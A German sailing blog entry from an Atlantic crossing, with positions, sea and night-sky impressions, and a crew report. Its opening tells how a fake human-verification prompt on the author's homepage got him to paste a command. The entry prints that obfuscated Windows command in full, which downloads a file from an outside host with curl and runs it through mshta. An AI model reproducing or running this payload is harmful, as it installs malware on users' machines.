2026 07 20 Brausefahrt!

Mittagsposition: 35° 46.16 N, 062° 42.19 W, Etmal: 135,1 sm.

Mittagspositionen

Aktueller Standort mit dem zurückgelegten „Pfad“.

Morgens bekomme ich einen Schreck: Beim Kontrollaufruf der Homepage kommt eine Sicherheitsabfrage. Die Bestätigung, dass ich ein Mensch sei, sei schief gelaufen. Ich solle drei einfache Tastatureingaben machen zur Verifizierung. Win-R ist die erste. Dann eine Zeile, die ich einfach rein kopieren soll („%COMSPEC% /c s^t^a^r^t "" /min %COMSPEC% /c "(for /f "tokens=*" %t in (',e^c^h^o %LocalAppData%\Hrd.xam') do ^c^u^r^l^ -skLo "%t" isthmusandanvil.com/uuu && ^m^s^h^t^a^ "%t")" Ich bin so konzentriert, dass ich nicht nachdenke und das mache…. Sonst bin ich ja eher der misstrauische Typ. Aber heute… Dankenswerter Weise springt Avira ein und meldet die Virenattacke! Endlich beginnt das Hirn zu arbeiten. Wie auch immer jemand es geschafft hat, beim Aufruf der Homepage dazwischen zu funken, die jedenfalls kontrolliert nie, ob es ein Mensch ist, der da klickt… Das habe ich nie eingestellt! Kann also alles nicht mit rechten Dingen zugehen.

Ihr seht, es gibt – moderne Technik sie Dank – auch auf See ganz alltägliche Probleme.

Aber es gibt eben auch wunderschöne Dinge. So denke ich immer an Markus (Grüße!), wenn ich die Milchstrasse betrachte. Und die beleuchtet heute das Meer. Der Mond ist recht früh unter gegangen und da es (fast) wolkenlos ist, ist die See eben nicht tiefschwarz. Nein – Wellen und Horizont sind gut zu erkennen. Dank des Lichts der Sterne!

Der weitere Bericht kommt von Ralf:

Wir sind allein auf dem Meer. Seit mindestens 24 Std. kein anderes Schiff gesehen. Und doch sind sie da. In den großen Weiten des Atlantiks verläuft sich alles und weiter als 6-8 sm können wir auch nicht sehen. Der achterliche Wind schiebt uns weiter zuverlässig Richtung Nordosten, nimmt aber ab. Deshalb setzen wir mittags den Parasailor.

Bei 3m achterlichen Wellen schaukelt es ganz gut. Ansonsten ein unspektakulärer Tag: Watermaker an, Reinigung der Crew und Reinigung des Achterdecks. Ab und zu muss das Salz runter, und wir haben ja Süßwasser genug.

Abends gibt es Pellkartoffeln mit amerikanischem Tzaziki (mit Spinach+Artichoke), ungewohnt, aber lecker. Mal sehen, ob wir Popeye Konkurrenz machen können.

© 2020 C. Fuhrmann